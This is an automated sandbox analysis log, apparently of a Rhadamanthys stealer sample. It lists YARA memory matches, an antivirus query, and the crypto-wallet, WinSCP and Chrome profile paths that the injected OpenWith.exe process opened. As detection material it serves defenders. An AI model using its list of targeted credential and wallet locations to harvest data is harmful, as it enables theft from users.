Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation

Source: C:\Users\Public\ajbs50ul.bat

Code function: 4_2_00007FF7177594D0 GetCurrentProcessId,ProcessPrng,CreateNamedPipeW,GetLastError,CloseHandle,CloseHandle,

4_2_00007FF7177594D0

Source: C:\Users\Public\ajbs50ul.bat

Code function: 4_2_00007FF71774E220 GetSystemTimePreciseAsFileTime,

4_2_00007FF71774E220

Source: C:\Windows\System32\OpenWith.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 0000000C.00000003.1719875612.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1672317407.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1659269474.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1636322926.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1664518031.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.1611964049.000000001B570000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1669570254.0000022BF85F6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1635992929.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.1527920288.000000001B790000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1672698778.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1657600437.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1670784258.0000022BF85F9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1642274997.0000022BF85FC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1649906387.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1641470345.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1665094576.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1718717890.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1732851639.0000022BF85F9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1637017086.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1673234389.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1536321873.0000022BF57D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1635336719.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1716617542.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1669024902.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1734062423.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1647188143.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1719239524.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1643307727.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1645446937.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1661819733.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1671905824.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1667796484.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1645979631.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1820192855.0000022BF85FA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1640027793.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1720627050.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1643999295.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1641144578.0000022BF85FC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1663391572.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1639097496.0000022BF85FC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1685422890.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1677206150.0000022BF85F5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1667329576.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1676927286.0000022BF85F1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1684103225.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1657379194.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1719572786.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1681955679.0000022BF85FA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1733626617.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1662264222.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1633957814.000000001BC61000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1669915466.0000022BF85F6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1728712322.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1664818861.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1668657426.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1644462147.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1718358632.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1636694743.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1717013447.0000022BF85F8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1664199634.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1643580454.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1650284949.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1660904997.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1637756767.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1656922103.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1720226582.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1633368508.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1666919810.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1634857555.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1638233166.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1729281119.0000022BF85F8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1672457326.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1643036259.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1670609003.0000022BF85F4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1717903072.0000022BF85FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1658624595.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1633368508.0000022BF8501000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1656035942.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1561583400.000000001BF81000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1717469357.0000022BF85F9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1639794446.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1646734442.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1663918695.0000022BF85FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Found many strings related to Crypto-Wallets (likely being stolen)

Source: OpenWith.exe, 0000000C.00000003.1676357664.0000022BF7A40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %AppData%\Qtum-Electrum\config
Source: OpenWith.exe, 0000000C.00000003.1681881720.0000022BF7A06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %AppData%\com.liberty.jaxx
Source: OpenWith.exe, 0000000C.00000003.1681881720.0000022BF7A06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: passphrase.json
Source: OpenWith.exe, 0000000C.00000003.1681881720.0000022BF7A06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %AppData%\Exodus
Source: OpenWith.exe, 0000000C.00000003.1681881720.0000022BF7A06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %AppData%\Coinomi\Coinomi\wallets
Source: powershell.exe, 00000003.00000002.1609966642.00007FF887D30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sqlcolumnencryptionkeystoreprovider
Source: OpenWith.exe, 0000000C.00000003.1819351288.0000022BF7A41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: })C:\Users\user\AppData\Roaming\Ledger Live

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\System32\OpenWith.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Bitcoin\Bitcoin-Qt			Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core			Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\System32\OpenWith.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration\Security

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\c7615543-0de7-4eea-9862-59688b7f430d	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons Monochrome	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons Maskable	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache\Cache_Data	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync App Settings	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons Maskable	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons Monochrome	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons Maskable	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons Maskable	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons Maskable	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\WebStorage	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons Maskable	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons Monochrome	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons Monochrome	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Temp	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons Monochrome	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db	Jump to behavior
